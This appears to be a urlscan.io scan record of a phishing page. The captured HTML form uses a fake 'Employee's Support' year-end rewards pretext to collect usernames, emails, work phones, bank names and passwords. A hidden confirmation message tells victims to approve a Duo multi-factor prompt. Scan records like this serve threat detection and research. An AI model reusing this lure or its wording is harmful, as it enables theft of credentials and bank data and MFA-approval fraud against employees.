empoweryourfuture.agilecrm.com Open in urlscan Pro
2607:f8b0:4004:c21::79  Public Scan

Form analysis
1 forms found in the DOM

POST https://empoweryourfuture.agilecrm.com/formsubmit

<form class="form-view theme3" id="agile-form" action="https://empoweryourfuture.agilecrm.com/formsubmit" style="max-width:450px;" method="POST">
  <fieldset>
    <!-- Form Name -->
    <legend>🎁 Employee's Support 🌟</legend>
    <p class="agile-form-description">Don’t Miss Your Year-End Rewards &amp; New Year Opportunities!</p>
    <div style="display: none; height: 0px; width: 0px;">
      <input type="hidden" id="_agile_form_name" name="_agile_form_name" value="🎁 Employee's Support 🌟">
      <input type="hidden" id="_agile_domain" name="_agile_domain" value="empoweryourfuture">
      <input type="hidden" id="_agile_api" name="_agile_api" value="iusmcne9rb6pm1lbhesl7a7drk">
      <input type="hidden" id="_agile_redirect_url" name="_agile_redirect_url" value="#">
      <input type="hidden" id="_agile_document_url" name="_agile_document_url" value="">
      <input type="hidden" id="_agile_confirmation_msg" name="_agile_confirmation_msg" value="Great! Your form will be processed shortly. After a minute or two Open duo multi-factor to complete your sign up Or wait for call if not responding">
      <input type="hidden" id="_agile_form_id_tags" name="tags" value="">
      <input type="hidden" id="_agile_form_id" name="_agile_form_id" value="5217982472192000">
    </div>
    <!-- Text input-->
    <div class="agile-group required-control">
      <label class="agile-label" for="agilefield-1">Name/Username<span class="agile-span-asterisk"> *</span></label>
      <div class="agile-field-xlarge agile-field">
        <input maxlength="250" id="agilefield-1" name="first_name" type="text" placeholder="Name/Username" class="agile-height-default" required="">
      </div>
      <div class="agile-custom-clear"></div>
    </div>
    <!-- Text input-->
    <div class="agile-group required-control">
      <label class="agile-label" for="agilefield-3">Email Address<span class="agile-span-asterisk"> *</span></label>
      <div class="agile-field-xlarge agile-field">
        <input maxlength="250" id="agilefield-3" name="email" type="email" placeholder="Enter email" class="agile-height-default" required="">
      </div>
      <div class="agile-custom-clear"></div>
    </div>
    <!-- Text input-->
    <div class="agile-group required-control">
      <label class="agile-label" for="agilefield-2">Work Phone<span class="agile-span-asterisk"> *</span></label>
      <div class="agile-field-xlarge agile-field">
        <input maxlength="250" id="agilefield-2" name="phone" type="text" placeholder="Enter phone" class="agile-height-default" required="">
      </div>
      <div class="agile-custom-clear"></div>
    </div>
    <!-- Text input-->
    <div class="agile-group required-control">
      <label class="agile-label" for="agilefield-5">Bank Name<span class="agile-span-asterisk"> *</span></label>
      <div class="agile-field-xlarge agile-field">
        <input maxlength="250" id="agilefield-5" name="title" type="text" placeholder="Bank Name" class="agile-height-default" required="">
      </div>
      <div class="agile-custom-clear"></div>
    </div>
    <!-- Text input-->
    <div class="agile-group required-control">
      <label class="agile-label" for="agilefield-4">Password<span class="agile-span-asterisk"> *</span></label>
      <div class="agile-field-xlarge agile-field">
        <input maxlength="250" id="agilefield-4" name="company" type="text" placeholder="Password" class="agile-height-default" required="">
      </div>
      <div class="agile-custom-clear"></div>
    </div>
    <!--recaptcha aglignment-->
    <!-- Button -->
    <div class="agile-group">
      <label class="agile-label">&nbsp;</label>
      <div class="agile-field agile-button-field">
        <button type="submit" class="agile-button">Sign In</button>
        <br><span id="agile-error-msg"></span>
      </div>
    </div>
  </fieldset>
</form>

Text Content

🎁 Employee's Support 🌟

Don’t Miss Your Year-End Rewards & New Year Opportunities!


Name/Username *


Email Address *


Work Phone *


Bank Name *


Password *


 
Sign In